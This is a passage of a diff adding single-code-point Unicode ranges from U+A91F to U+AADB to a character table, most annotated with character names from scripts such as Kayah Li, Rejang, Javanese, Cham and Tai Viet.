+ [0xa91f, 0xa91f], /* KAYAH LI LETTER HA */
+ [0xa920, 0xa920], /* KAYAH LI LETTER VA */
+ [0xa921, 0xa921], /* KAYAH LI LETTER CA */
+ [0xa922, 0xa922], /* KAYAH LI LETTER A */
+ [0xa923, 0xa923], /* KAYAH LI LETTER OE */
+ [0xa924, 0xa924], /* KAYAH LI LETTER I */
+ [0xa925, 0xa925], /* KAYAH LI LETTER OO */
+ [0xa926, 0xa926], /* KAYAH LI VOWEL UE */
+ [0xa927, 0xa927], /* KAYAH LI VOWEL E */
+ [0xa928, 0xa928], /* KAYAH LI VOWEL U */
+ [0xa929, 0xa929], /* KAYAH LI VOWEL EE */
+ [0xa92a, 0xa92a], /* KAYAH LI VOWEL O */
+ [0xa92b, 0xa92b], /* KAYAH LI TONE PLOPHU */
+ [0xa92c, 0xa92c], /* KAYAH LI TONE CALYA */
+ [0xa92d, 0xa92d], /* KAYAH LI TONE CALYA PLOPHU */
+ [0xa92e, 0xa92e], /* KAYAH LI SIGN CWI */
+ [0xa92f, 0xa92f], /* KAYAH LI SIGN SHYA */
+ [0xa930, 0xa930], /* REJANG LETTER KA */
+ [0xa931, 0xa931], /* REJANG LETTER GA */
+ [0xa932, 0xa932], /* REJANG LETTER NGA */
+ [0xa933, 0xa933], /* REJANG LETTER TA */
+ [0xa934, 0xa934], /* REJANG LETTER DA */
+ [0xa935, 0xa935], /* REJANG LETTER NA */
+ [0xa936, 0xa936], /* REJANG LETTER PA */
+ [0xa937, 0xa937], /* REJANG LETTER BA */
+ [0xa938, 0xa938], /* REJANG LETTER MA */
+ [0xa939, 0xa939], /* REJANG LETTER CA */
+ [0xa93a, 0xa93a], /* REJANG LETTER JA */
+ [0xa93b, 0xa93b], /* REJANG LETTER NYA */
+ [0xa93c, 0xa93c], /* REJANG LETTER SA */
+ [0xa93d, 0xa93d], /* REJANG LETTER RA */
+ [0xa93e, 0xa93e], /* REJANG LETTER LA */
+ [0xa93f, 0xa93f], /* REJANG LETTER YA */
+ [0xa940, 0xa940], /* REJANG LETTER WA */
+ [0xa941, 0xa941], /* REJANG LETTER HA */
+ [0xa942, 0xa942], /* REJANG LETTER MBA */
+ [0xa943, 0xa943], /* REJANG LETTER NGGA */
+ [0xa944, 0xa944], /* REJANG LETTER NDA */
+ [0xa945, 0xa945], /* REJANG LETTER NYJA */
+ [0xa946, 0xa946], /* REJANG LETTER A */
+ [0xa947, 0xa947], /* REJANG VOWEL SIGN I */
+ [0xa948, 0xa948], /* REJANG VOWEL SIGN U */
+ [0xa949, 0xa949], /* REJANG VOWEL SIGN E */
+ [0xa94a, 0xa94a], /* REJANG VOWEL SIGN AI */
+ [0xa94b, 0xa94b], /* REJANG VOWEL SIGN O */
+ [0xa94c, 0xa94c], /* REJANG VOWEL SIGN AU */
+ [0xa94d, 0xa94d], /* REJANG VOWEL SIGN EU */
+ [0xa94e, 0xa94e], /* REJANG VOWEL SIGN EA */
+ [0xa94f, 0xa94f], /* REJANG CONSONANT SIGN NG */
+ [0xa950, 0xa950], /* REJANG CONSONANT SIGN N */
+ [0xa951, 0xa951], /* REJANG CONSONANT SIGN R */
+ [0xa952, 0xa952], /* REJANG CONSONANT SIGN H */
+ [0xa953, 0xa953], /* REJANG VIRAMA */
+ [0xa954, 0xa954],
+ [0xa955, 0xa955],
+ [0xa956, 0xa956],
+ [0xa957, 0xa957],
+ [0xa958, 0xa958],
+ [0xa959, 0xa959],
+ [0xa95a, 0xa95a],
+ [0xa95b, 0xa95b],
+ [0xa95c, 0xa95c],
+ [0xa95d, 0xa95d],
+ [0xa95e, 0xa95e],
+ [0xa95f, 0xa95f], /* REJANG SECTION MARK */
+ [0xa960, 0xa960], /* HANGUL CHOSEONG TIKEUT-MIEUM */
+ [0xa961, 0xa961], /* HANGUL CHOSEONG TIKEUT-PIEUP */
+ [0xa962, 0xa962], /* HANGUL CHOSEONG TIKEUT-SIOS */
+ [0xa963, 0xa963], /* HANGUL CHOSEONG TIKEUT-CIEUC */
+ [0xa964, 0xa964], /* HANGUL CHOSEONG RIEUL-KIYEOK */
+ [0xa965, 0xa965], /* HANGUL CHOSEONG RIEUL-SSANGKIYEOK */
+ [0xa966, 0xa966], /* HANGUL CHOSEONG RIEUL-TIKEUT */
+ [0xa967, 0xa967], /* HANGUL CHOSEONG RIEUL-SSANGTIKEUT */
+ [0xa968, 0xa968], /* HANGUL CHOSEONG RIEUL-MIEUM */
+ [0xa969, 0xa969], /* HANGUL CHOSEONG RIEUL-PIEUP */
+ [0xa96a, 0xa96a], /* HANGUL CHOSEONG RIEUL-SSANGPIEUP */
+ [0xa96b, 0xa96b], /* HANGUL CHOSEONG RIEUL-KAPYEOUNPIEUP */
+ [0xa96c, 0xa96c], /* HANGUL CHOSEONG RIEUL-SIOS */
+ [0xa96d, 0xa96d], /* HANGUL CHOSEONG RIEUL-CIEUC */
+ [0xa96e, 0xa96e], /* HANGUL CHOSEONG RIEUL-KHIEUKH */
+ [0xa96f, 0xa96f], /* HANGUL CHOSEONG MIEUM-KIYEOK */
+ [0xa970, 0xa970], /* HANGUL CHOSEONG MIEUM-TIKEUT */
+ [0xa971, 0xa971], /* HANGUL CHOSEONG MIEUM-SIOS */
+ [0xa972, 0xa972], /* HANGUL CHOSEONG PIEUP-SIOS-THIEUTH */
+ [0xa973, 0xa973], /* HANGUL CHOSEONG PIEUP-KHIEUKH */
+ [0xa974, 0xa974], /* HANGUL CHOSEONG PIEUP-HIEUH */
+ [0xa975, 0xa975], /* HANGUL CHOSEONG SSANGSIOS-PIEUP */
+ [0xa976, 0xa976], /* HANGUL CHOSEONG IEUNG-RIEUL */
+ [0xa977, 0xa977], /* HANGUL CHOSEONG IEUNG-HIEUH */
+ [0xa978, 0xa978], /* HANGUL CHOSEONG SSANGCIEUC-HIEUH */
+ [0xa979, 0xa979], /* HANGUL CHOSEONG SSANGTHIEUTH */
+ [0xa97a, 0xa97a], /* HANGUL CHOSEONG PHIEUPH-HIEUH */
+ [0xa97b, 0xa97b], /* HANGUL CHOSEONG HIEUH-SIOS */
+ [0xa97c, 0xa97c], /* HANGUL CHOSEONG SSANGYEORINHIEUH */
+ [0xa97d, 0xa97d],
+ [0xa97e, 0xa97e],
+ [0xa97f, 0xa97f],
+ [0xa980, 0xa980], /* JAVANESE SIGN PANYANGGA */
+ [0xa981, 0xa981], /* JAVANESE SIGN CECAK */
+ [0xa982, 0xa982], /* JAVANESE SIGN LAYAR */
+ [0xa983, 0xa983], /* JAVANESE SIGN WIGNYAN */
+ [0xa984, 0xa984], /* JAVANESE LETTER A */
+ [0xa985, 0xa985], /* JAVANESE LETTER I KAWI */
+ [0xa986, 0xa986], /* JAVANESE LETTER I */
+ [0xa987, 0xa987], /* JAVANESE LETTER II */
+ [0xa988, 0xa988], /* JAVANESE LETTER U */
+ [0xa989, 0xa989], /* JAVANESE LETTER PA CEREK */
+ [0xa98a, 0xa98a], /* JAVANESE LETTER NGA LELET */
+ [0xa98b, 0xa98b], /* JAVANESE LETTER NGA LELET RASWADI */
+ [0xa98c, 0xa98c], /* JAVANESE LETTER E */
+ [0xa98d, 0xa98d], /* JAVANESE LETTER AI */
+ [0xa98e, 0xa98e], /* JAVANESE LETTER O */
+ [0xa98f, 0xa98f], /* JAVANESE LETTER KA */
+ [0xa990, 0xa990], /* JAVANESE LETTER KA SASAK */
+ [0xa991, 0xa991], /* JAVANESE LETTER KA MURDA */
+ [0xa992, 0xa992], /* JAVANESE LETTER GA */
+ [0xa993, 0xa993], /* JAVANESE LETTER GA MURDA */
+ [0xa994, 0xa994], /* JAVANESE LETTER NGA */
+ [0xa995, 0xa995], /* JAVANESE LETTER CA */
+ [0xa996, 0xa996], /* JAVANESE LETTER CA MURDA */
+ [0xa997, 0xa997], /* JAVANESE LETTER JA */
+ [0xa998, 0xa998], /* JAVANESE LETTER NYA MURDA */
+ [0xa999, 0xa999], /* JAVANESE LETTER JA MAHAPRANA */
+ [0xa99a, 0xa99a], /* JAVANESE LETTER NYA */
+ [0xa99b, 0xa99b], /* JAVANESE LETTER TTA */
+ [0xa99c, 0xa99c], /* JAVANESE LETTER TTA MAHAPRANA */
+ [0xa99d, 0xa99d], /* JAVANESE LETTER DDA */
+ [0xa99e, 0xa99e], /* JAVANESE LETTER DDA MAHAPRANA */
+ [0xa99f, 0xa99f], /* JAVANESE LETTER NA MURDA */
+ [0xa9a0, 0xa9a0], /* JAVANESE LETTER TA */
+ [0xa9a1, 0xa9a1], /* JAVANESE LETTER TA MURDA */
+ [0xa9a2, 0xa9a2], /* JAVANESE LETTER DA */
+ [0xa9a3, 0xa9a3], /* JAVANESE LETTER DA MAHAPRANA */
+ [0xa9a4, 0xa9a4], /* JAVANESE LETTER NA */
+ [0xa9a5, 0xa9a5], /* JAVANESE LETTER PA */
+ [0xa9a6, 0xa9a6], /* JAVANESE LETTER PA MURDA */
+ [0xa9a7, 0xa9a7], /* JAVANESE LETTER BA */
+ [0xa9a8, 0xa9a8], /* JAVANESE LETTER BA MURDA */
+ [0xa9a9, 0xa9a9], /* JAVANESE LETTER MA */
+ [0xa9aa, 0xa9aa], /* JAVANESE LETTER YA */
+ [0xa9ab, 0xa9ab], /* JAVANESE LETTER RA */
+ [0xa9ac, 0xa9ac], /* JAVANESE LETTER RA AGUNG */
+ [0xa9ad, 0xa9ad], /* JAVANESE LETTER LA */
+ [0xa9ae, 0xa9ae], /* JAVANESE LETTER WA */
+ [0xa9af, 0xa9af], /* JAVANESE LETTER SA MURDA */
+ [0xa9b0, 0xa9b0], /* JAVANESE LETTER SA MAHAPRANA */
+ [0xa9b1, 0xa9b1], /* JAVANESE LETTER SA */
+ [0xa9b2, 0xa9b2], /* JAVANESE LETTER HA */
+ [0xa9b3, 0xa9b3], /* JAVANESE SIGN CECAK TELU */
+ [0xa9b4, 0xa9b4], /* JAVANESE VOWEL SIGN TARUNG */
+ [0xa9b5, 0xa9b5], /* JAVANESE VOWEL SIGN TOLONG */
+ [0xa9b6, 0xa9b6], /* JAVANESE VOWEL SIGN WULU */
+ [0xa9b7, 0xa9b7], /* JAVANESE VOWEL SIGN WULU MELIK */
+ [0xa9b8, 0xa9b8], /* JAVANESE VOWEL SIGN SUKU */
+ [0xa9b9, 0xa9b9], /* JAVANESE VOWEL SIGN SUKU MENDUT */
+ [0xa9ba, 0xa9ba], /* JAVANESE VOWEL SIGN TALING */
+ [0xa9bb, 0xa9bb], /* JAVANESE VOWEL SIGN DIRGA MURE */
+ [0xa9bc, 0xa9bc], /* JAVANESE VOWEL SIGN PEPET */
+ [0xa9bd, 0xa9bd], /* JAVANESE CONSONANT SIGN KERET */
+ [0xa9be, 0xa9be], /* JAVANESE CONSONANT SIGN PENGKAL */
+ [0xa9bf, 0xa9bf], /* JAVANESE CONSONANT SIGN CAKRA */
+ [0xa9c0, 0xa9c0], /* JAVANESE PANGKON */
+ [0xa9c1, 0xa9c1], /* JAVANESE LEFT RERENGGAN */
+ [0xa9c2, 0xa9c2], /* JAVANESE RIGHT RERENGGAN */
+ [0xa9c3, 0xa9c3], /* JAVANESE PADA ANDAP */
+ [0xa9c4, 0xa9c4], /* JAVANESE PADA MADYA */
+ [0xa9c5, 0xa9c5], /* JAVANESE PADA LUHUR */
+ [0xa9c6, 0xa9c6], /* JAVANESE PADA WINDU */
+ [0xa9c7, 0xa9c7], /* JAVANESE PADA PANGKAT */
+ [0xa9c8, 0xa9c8], /* JAVANESE PADA LINGSA */
+ [0xa9c9, 0xa9c9], /* JAVANESE PADA LUNGSI */
+ [0xa9ca, 0xa9ca], /* JAVANESE PADA ADEG */
+ [0xa9cb, 0xa9cb], /* JAVANESE PADA ADEG ADEG */
+ [0xa9cc, 0xa9cc], /* JAVANESE PADA PISELEH */
+ [0xa9cd, 0xa9cd], /* JAVANESE TURNED PADA PISELEH */
+ [0xa9ce, 0xa9ce],
+ [0xa9cf, 0xa9cf], /* JAVANESE PANGRANGKEP */
+ [0xa9d0, 0xa9d0], /* JAVANESE DIGIT ZERO */
+ [0xa9d1, 0xa9d1], /* JAVANESE DIGIT ONE */
+ [0xa9d2, 0xa9d2], /* JAVANESE DIGIT TWO */
+ [0xa9d3, 0xa9d3], /* JAVANESE DIGIT THREE */
+ [0xa9d4, 0xa9d4], /* JAVANESE DIGIT FOUR */
+ [0xa9d5, 0xa9d5], /* JAVANESE DIGIT FIVE */
+ [0xa9d6, 0xa9d6], /* JAVANESE DIGIT SIX */
+ [0xa9d7, 0xa9d7], /* JAVANESE DIGIT SEVEN */
+ [0xa9d8, 0xa9d8], /* JAVANESE DIGIT EIGHT */
+ [0xa9d9, 0xa9d9], /* JAVANESE DIGIT NINE */
+ [0xa9da, 0xa9da],
+ [0xa9db, 0xa9db],
+ [0xa9dc, 0xa9dc],
+ [0xa9dd, 0xa9dd],
+ [0xa9de, 0xa9de], /* JAVANESE PADA TIRTA TUMETES */
+ [0xa9df, 0xa9df], /* JAVANESE PADA ISEN-ISEN */
+ [0xa9e0, 0xa9e0], /* MYANMAR LETTER SHAN GHA */
+ [0xa9e1, 0xa9e1], /* MYANMAR LETTER SHAN CHA */
+ [0xa9e2, 0xa9e2], /* MYANMAR LETTER SHAN JHA */
+ [0xa9e3, 0xa9e3], /* MYANMAR LETTER SHAN NNA */
+ [0xa9e4, 0xa9e4], /* MYANMAR LETTER SHAN BHA */
+ [0xa9e5, 0xa9e5], /* MYANMAR SIGN SHAN SAW */
+ [0xa9e6, 0xa9e6], /* MYANMAR MODIFIER LETTER SHAN REDUPLICATION */
+ [0xa9e7, 0xa9e7], /* MYANMAR LETTER TAI LAING NYA */
+ [0xa9e8, 0xa9e8], /* MYANMAR LETTER TAI LAING FA */
+ [0xa9e9, 0xa9e9], /* MYANMAR LETTER TAI LAING GA */
+ [0xa9ea, 0xa9ea], /* MYANMAR LETTER TAI LAING GHA */
+ [0xa9eb, 0xa9eb], /* MYANMAR LETTER TAI LAING JA */
+ [0xa9ec, 0xa9ec], /* MYANMAR LETTER TAI LAING JHA */
+ [0xa9ed, 0xa9ed], /* MYANMAR LETTER TAI LAING DDA */
+ [0xa9ee, 0xa9ee], /* MYANMAR LETTER TAI LAING DDHA */
+ [0xa9ef, 0xa9ef], /* MYANMAR LETTER TAI LAING NNA */
+ [0xa9f0, 0xa9f0], /* MYANMAR TAI LAING DIGIT ZERO */
+ [0xa9f1, 0xa9f1], /* MYANMAR TAI LAING DIGIT ONE */
+ [0xa9f2, 0xa9f2], /* MYANMAR TAI LAING DIGIT TWO */
+ [0xa9f3, 0xa9f3], /* MYANMAR TAI LAING DIGIT THREE */
+ [0xa9f4, 0xa9f4], /* MYANMAR TAI LAING DIGIT FOUR */
+ [0xa9f5, 0xa9f5], /* MYANMAR TAI LAING DIGIT FIVE */
+ [0xa9f6, 0xa9f6], /* MYANMAR TAI LAING DIGIT SIX */
+ [0xa9f7, 0xa9f7], /* MYANMAR TAI LAING DIGIT SEVEN */
+ [0xa9f8, 0xa9f8], /* MYANMAR TAI LAING DIGIT EIGHT */
+ [0xa9f9, 0xa9f9], /* MYANMAR TAI LAING DIGIT NINE */
+ [0xa9fa, 0xa9fa], /* MYANMAR LETTER TAI LAING LLA */
+ [0xa9fb, 0xa9fb], /* MYANMAR LETTER TAI LAING DA */
+ [0xa9fc, 0xa9fc], /* MYANMAR LETTER TAI LAING DHA */
+ [0xa9fd, 0xa9fd], /* MYANMAR LETTER TAI LAING BA */
+ [0xa9fe, 0xa9fe], /* MYANMAR LETTER TAI LAING BHA */
+ [0xa9ff, 0xa9ff],
+ [0xaa00, 0xaa00], /* CHAM LETTER A */
+ [0xaa01, 0xaa01], /* CHAM LETTER I */
+ [0xaa02, 0xaa02], /* CHAM LETTER U */
+ [0xaa03, 0xaa03], /* CHAM LETTER E */
+ [0xaa04, 0xaa04], /* CHAM LETTER AI */
+ [0xaa05, 0xaa05], /* CHAM LETTER O */
+ [0xaa06, 0xaa06], /* CHAM LETTER KA */
+ [0xaa07, 0xaa07], /* CHAM LETTER KHA */
+ [0xaa08, 0xaa08], /* CHAM LETTER GA */
+ [0xaa09, 0xaa09], /* CHAM LETTER GHA */
+ [0xaa0a, 0xaa0a], /* CHAM LETTER NGUE */
+ [0xaa0b, 0xaa0b], /* CHAM LETTER NGA */
+ [0xaa0c, 0xaa0c], /* CHAM LETTER CHA */
+ [0xaa0d, 0xaa0d], /* CHAM LETTER CHHA */
+ [0xaa0e, 0xaa0e], /* CHAM LETTER JA */
+ [0xaa0f, 0xaa0f], /* CHAM LETTER JHA */
+ [0xaa10, 0xaa10], /* CHAM LETTER NHUE */
+ [0xaa11, 0xaa11], /* CHAM LETTER NHA */
+ [0xaa12, 0xaa12], /* CHAM LETTER NHJA */
+ [0xaa13, 0xaa13], /* CHAM LETTER TA */
+ [0xaa14, 0xaa14], /* CHAM LETTER THA */
+ [0xaa15, 0xaa15], /* CHAM LETTER DA */
+ [0xaa16, 0xaa16], /* CHAM LETTER DHA */
+ [0xaa17, 0xaa17], /* CHAM LETTER NUE */
+ [0xaa18, 0xaa18], /* CHAM LETTER NA */
+ [0xaa19, 0xaa19], /* CHAM LETTER DDA */
+ [0xaa1a, 0xaa1a], /* CHAM LETTER PA */
+ [0xaa1b, 0xaa1b], /* CHAM LETTER PPA */
+ [0xaa1c, 0xaa1c], /* CHAM LETTER PHA */
+ [0xaa1d, 0xaa1d], /* CHAM LETTER BA */
+ [0xaa1e, 0xaa1e], /* CHAM LETTER BHA */
+ [0xaa1f, 0xaa1f], /* CHAM LETTER MUE */
+ [0xaa20, 0xaa20], /* CHAM LETTER MA */
+ [0xaa21, 0xaa21], /* CHAM LETTER BBA */
+ [0xaa22, 0xaa22], /* CHAM LETTER YA */
+ [0xaa23, 0xaa23], /* CHAM LETTER RA */
+ [0xaa24, 0xaa24], /* CHAM LETTER LA */
+ [0xaa25, 0xaa25], /* CHAM LETTER VA */
+ [0xaa26, 0xaa26], /* CHAM LETTER SSA */
+ [0xaa27, 0xaa27], /* CHAM LETTER SA */
+ [0xaa28, 0xaa28], /* CHAM LETTER HA */
+ [0xaa29, 0xaa29], /* CHAM VOWEL SIGN AA */
+ [0xaa2a, 0xaa2a], /* CHAM VOWEL SIGN I */
+ [0xaa2b, 0xaa2b], /* CHAM VOWEL SIGN II */
+ [0xaa2c, 0xaa2c], /* CHAM VOWEL SIGN EI */
+ [0xaa2d, 0xaa2d], /* CHAM VOWEL SIGN U */
+ [0xaa2e, 0xaa2e], /* CHAM VOWEL SIGN OE */
+ [0xaa2f, 0xaa2f], /* CHAM VOWEL SIGN O */
+ [0xaa30, 0xaa30], /* CHAM VOWEL SIGN AI */
+ [0xaa31, 0xaa31], /* CHAM VOWEL SIGN AU */
+ [0xaa32, 0xaa32], /* CHAM VOWEL SIGN UE */
+ [0xaa33, 0xaa33], /* CHAM CONSONANT SIGN YA */
+ [0xaa34, 0xaa34], /* CHAM CONSONANT SIGN RA */
+ [0xaa35, 0xaa35], /* CHAM CONSONANT SIGN LA */
+ [0xaa36, 0xaa36], /* CHAM CONSONANT SIGN WA */
+ [0xaa37, 0xaa37],
+ [0xaa38, 0xaa38],
+ [0xaa39, 0xaa39],
+ [0xaa3a, 0xaa3a],
+ [0xaa3b, 0xaa3b],
+ [0xaa3c, 0xaa3c],
+ [0xaa3d, 0xaa3d],
+ [0xaa3e, 0xaa3e],
+ [0xaa3f, 0xaa3f],
+ [0xaa40, 0xaa40], /* CHAM LETTER FINAL K */
+ [0xaa41, 0xaa41], /* CHAM LETTER FINAL G */
+ [0xaa42, 0xaa42], /* CHAM LETTER FINAL NG */
+ [0xaa43, 0xaa43], /* CHAM CONSONANT SIGN FINAL NG */
+ [0xaa44, 0xaa44], /* CHAM LETTER FINAL CH */
+ [0xaa45, 0xaa45], /* CHAM LETTER FINAL T */
+ [0xaa46, 0xaa46], /* CHAM LETTER FINAL N */
+ [0xaa47, 0xaa47], /* CHAM LETTER FINAL P */
+ [0xaa48, 0xaa48], /* CHAM LETTER FINAL Y */
+ [0xaa49, 0xaa49], /* CHAM LETTER FINAL R */
+ [0xaa4a, 0xaa4a], /* CHAM LETTER FINAL L */
+ [0xaa4b, 0xaa4b], /* CHAM LETTER FINAL SS */
+ [0xaa4c, 0xaa4c], /* CHAM CONSONANT SIGN FINAL M */
+ [0xaa4d, 0xaa4d], /* CHAM CONSONANT SIGN FINAL H */
+ [0xaa4e, 0xaa4e],
+ [0xaa4f, 0xaa4f],
+ [0xaa50, 0xaa50], /* CHAM DIGIT ZERO */
+ [0xaa51, 0xaa51], /* CHAM DIGIT ONE */
+ [0xaa52, 0xaa52], /* CHAM DIGIT TWO */
+ [0xaa53, 0xaa53], /* CHAM DIGIT THREE */
+ [0xaa54, 0xaa54], /* CHAM DIGIT FOUR */
+ [0xaa55, 0xaa55], /* CHAM DIGIT FIVE */
+ [0xaa56, 0xaa56], /* CHAM DIGIT SIX */
+ [0xaa57, 0xaa57], /* CHAM DIGIT SEVEN */
+ [0xaa58, 0xaa58], /* CHAM DIGIT EIGHT */
+ [0xaa59, 0xaa59], /* CHAM DIGIT NINE */
+ [0xaa5a, 0xaa5a],
+ [0xaa5b, 0xaa5b],
+ [0xaa5c, 0xaa5c], /* CHAM PUNCTUATION SPIRAL */
+ [0xaa5d, 0xaa5d], /* CHAM PUNCTUATION DANDA */
+ [0xaa5e, 0xaa5e], /* CHAM PUNCTUATION DOUBLE DANDA */
+ [0xaa5f, 0xaa5f], /* CHAM PUNCTUATION TRIPLE DANDA */
+ [0xaa60, 0xaa60], /* MYANMAR LETTER KHAMTI GA */
+ [0xaa61, 0xaa61], /* MYANMAR LETTER KHAMTI CA */
+ [0xaa62, 0xaa62], /* MYANMAR LETTER KHAMTI CHA */
+ [0xaa63, 0xaa63], /* MYANMAR LETTER KHAMTI JA */
+ [0xaa64, 0xaa64], /* MYANMAR LETTER KHAMTI JHA */
+ [0xaa65, 0xaa65], /* MYANMAR LETTER KHAMTI NYA */
+ [0xaa66, 0xaa66], /* MYANMAR LETTER KHAMTI TTA */
+ [0xaa67, 0xaa67], /* MYANMAR LETTER KHAMTI TTHA */
+ [0xaa68, 0xaa68], /* MYANMAR LETTER KHAMTI DDA */
+ [0xaa69, 0xaa69], /* MYANMAR LETTER KHAMTI DDHA */
+ [0xaa6a, 0xaa6a], /* MYANMAR LETTER KHAMTI DHA */
+ [0xaa6b, 0xaa6b], /* MYANMAR LETTER KHAMTI NA */
+ [0xaa6c, 0xaa6c], /* MYANMAR LETTER KHAMTI SA */
+ [0xaa6d, 0xaa6d], /* MYANMAR LETTER KHAMTI HA */
+ [0xaa6e, 0xaa6e], /* MYANMAR LETTER KHAMTI HHA */
+ [0xaa6f, 0xaa6f], /* MYANMAR LETTER KHAMTI FA */
+ [0xaa70, 0xaa70], /* MYANMAR MODIFIER LETTER KHAMTI REDUPLICATION */
+ [0xaa71, 0xaa71], /* MYANMAR LETTER KHAMTI XA */
+ [0xaa72, 0xaa72], /* MYANMAR LETTER KHAMTI ZA */
+ [0xaa73, 0xaa73], /* MYANMAR LETTER KHAMTI RA */
+ [0xaa74, 0xaa74], /* MYANMAR LOGOGRAM KHAMTI OAY */
+ [0xaa75, 0xaa75], /* MYANMAR LOGOGRAM KHAMTI QN */
+ [0xaa76, 0xaa76], /* MYANMAR LOGOGRAM KHAMTI HM */
+ [0xaa77, 0xaa77], /* MYANMAR SYMBOL AITON EXCLAMATION */
+ [0xaa78, 0xaa78], /* MYANMAR SYMBOL AITON ONE */
+ [0xaa79, 0xaa79], /* MYANMAR SYMBOL AITON TWO */
+ [0xaa7a, 0xaa7a], /* MYANMAR LETTER AITON RA */
+ [0xaa7b, 0xaa7b], /* MYANMAR SIGN PAO KAREN TONE */
+ [0xaa7c, 0xaa7c], /* MYANMAR SIGN TAI LAING TONE-2 */
+ [0xaa7d, 0xaa7d], /* MYANMAR SIGN TAI LAING TONE-5 */
+ [0xaa7e, 0xaa7e], /* MYANMAR LETTER SHWE PALAUNG CHA */
+ [0xaa7f, 0xaa7f], /* MYANMAR LETTER SHWE PALAUNG SHA */
+ [0xaa80, 0xaa80], /* TAI VIET LETTER LOW KO */
+ [0xaa81, 0xaa81], /* TAI VIET LETTER HIGH KO */
+ [0xaa82, 0xaa82], /* TAI VIET LETTER LOW KHO */
+ [0xaa83, 0xaa83], /* TAI VIET LETTER HIGH KHO */
+ [0xaa84, 0xaa84], /* TAI VIET LETTER LOW KHHO */
+ [0xaa85, 0xaa85], /* TAI VIET LETTER HIGH KHHO */
+ [0xaa86, 0xaa86], /* TAI VIET LETTER LOW GO */
+ [0xaa87, 0xaa87], /* TAI VIET LETTER HIGH GO */
+ [0xaa88, 0xaa88], /* TAI VIET LETTER LOW NGO */
+ [0xaa89, 0xaa89], /* TAI VIET LETTER HIGH NGO */
+ [0xaa8a, 0xaa8a], /* TAI VIET LETTER LOW CO */
+ [0xaa8b, 0xaa8b], /* TAI VIET LETTER HIGH CO */
+ [0xaa8c, 0xaa8c], /* TAI VIET LETTER LOW CHO */
+ [0xaa8d, 0xaa8d], /* TAI VIET LETTER HIGH CHO */
+ [0xaa8e, 0xaa8e], /* TAI VIET LETTER LOW SO */
+ [0xaa8f, 0xaa8f], /* TAI VIET LETTER HIGH SO */
+ [0xaa90, 0xaa90], /* TAI VIET LETTER LOW NYO */
+ [0xaa91, 0xaa91], /* TAI VIET LETTER HIGH NYO */
+ [0xaa92, 0xaa92], /* TAI VIET LETTER LOW DO */
+ [0xaa93, 0xaa93], /* TAI VIET LETTER HIGH DO */
+ [0xaa94, 0xaa94], /* TAI VIET LETTER LOW TO */
+ [0xaa95, 0xaa95], /* TAI VIET LETTER HIGH TO */
+ [0xaa96, 0xaa96], /* TAI VIET LETTER LOW THO */
+ [0xaa97, 0xaa97], /* TAI VIET LETTER HIGH THO */
+ [0xaa98, 0xaa98], /* TAI VIET LETTER LOW NO */
+ [0xaa99, 0xaa99], /* TAI VIET LETTER HIGH NO */
+ [0xaa9a, 0xaa9a], /* TAI VIET LETTER LOW BO */
+ [0xaa9b, 0xaa9b], /* TAI VIET LETTER HIGH BO */
+ [0xaa9c, 0xaa9c], /* TAI VIET LETTER LOW PO */
+ [0xaa9d, 0xaa9d], /* TAI VIET LETTER HIGH PO */
+ [0xaa9e, 0xaa9e], /* TAI VIET LETTER LOW PHO */
+ [0xaa9f, 0xaa9f], /* TAI VIET LETTER HIGH PHO */
+ [0xaaa0, 0xaaa0], /* TAI VIET LETTER LOW FO */
+ [0xaaa1, 0xaaa1], /* TAI VIET LETTER HIGH FO */
+ [0xaaa2, 0xaaa2], /* TAI VIET LETTER LOW MO */
+ [0xaaa3, 0xaaa3], /* TAI VIET LETTER HIGH MO */
+ [0xaaa4, 0xaaa4], /* TAI VIET LETTER LOW YO */
+ [0xaaa5, 0xaaa5], /* TAI VIET LETTER HIGH YO */
+ [0xaaa6, 0xaaa6], /* TAI VIET LETTER LOW RO */
+ [0xaaa7, 0xaaa7], /* TAI VIET LETTER HIGH RO */
+ [0xaaa8, 0xaaa8], /* TAI VIET LETTER LOW LO */
+ [0xaaa9, 0xaaa9], /* TAI VIET LETTER HIGH LO */
+ [0xaaaa, 0xaaaa], /* TAI VIET LETTER LOW VO */
+ [0xaaab, 0xaaab], /* TAI VIET LETTER HIGH VO */
+ [0xaaac, 0xaaac], /* TAI VIET LETTER LOW HO */
+ [0xaaad, 0xaaad], /* TAI VIET LETTER HIGH HO */
+ [0xaaae, 0xaaae], /* TAI VIET LETTER LOW O */
+ [0xaaaf, 0xaaaf], /* TAI VIET LETTER HIGH O */
+ [0xaab0, 0xaab0], /* TAI VIET MAI KANG */
+ [0xaab1, 0xaab1], /* TAI VIET VOWEL AA */
+ [0xaab2, 0xaab2], /* TAI VIET VOWEL I */
+ [0xaab3, 0xaab3], /* TAI VIET VOWEL UE */
+ [0xaab4, 0xaab4], /* TAI VIET VOWEL U */
+ [0xaab5, 0xaab5], /* TAI VIET VOWEL E */
+ [0xaab6, 0xaab6], /* TAI VIET VOWEL O */
+ [0xaab7, 0xaab7], /* TAI VIET MAI KHIT */
+ [0xaab8, 0xaab8], /* TAI VIET VOWEL IA */
+ [0xaab9, 0xaab9], /* TAI VIET VOWEL UEA */
+ [0xaaba, 0xaaba], /* TAI VIET VOWEL UA */
+ [0xaabb, 0xaabb], /* TAI VIET VOWEL AUE */
+ [0xaabc, 0xaabc], /* TAI VIET VOWEL AY */
+ [0xaabd, 0xaabd], /* TAI VIET VOWEL AN */
+ [0xaabe, 0xaabe], /* TAI VIET VOWEL AM */
+ [0xaabf, 0xaabf], /* TAI VIET TONE MAI EK */
+ [0xaac0, 0xaac0], /* TAI VIET TONE MAI NUENG */
+ [0xaac1, 0xaac1], /* TAI VIET TONE MAI THO */
+ [0xaac2, 0xaac2], /* TAI VIET TONE MAI SONG */
+ [0xaac3, 0xaac3],
+ [0xaac4, 0xaac4],
+ [0xaac5, 0xaac5],
+ [0xaac6, 0xaac6],
+ [0xaac7, 0xaac7],
+ [0xaac8, 0xaac8],
+ [0xaac9, 0xaac9],
+ [0xaaca, 0xaaca],
+ [0xaacb, 0xaacb],
+ [0xaacc, 0xaacc],
+ [0xaacd, 0xaacd],
+ [0xaace, 0xaace],
+ [0xaacf, 0xaacf],
+ [0xaad0, 0xaad0],
+ [0xaad1, 0xaad1],
+ [0xaad2, 0xaad2],
+ [0xaad3, 0xaad3],
+ [0xaad4, 0xaad4],
+ [0xaad5, 0xaad5],
+ [0xaad6, 0xaad6],
+ [0xaad7, 0xaad7],
+ [0xaad8, 0xaad8],
+ [0xaad9, 0xaad9],
+ [0xaada, 0xaada],
+ [0xaadb, 0xaadb], /* TAI VIET SYMBOL KON */
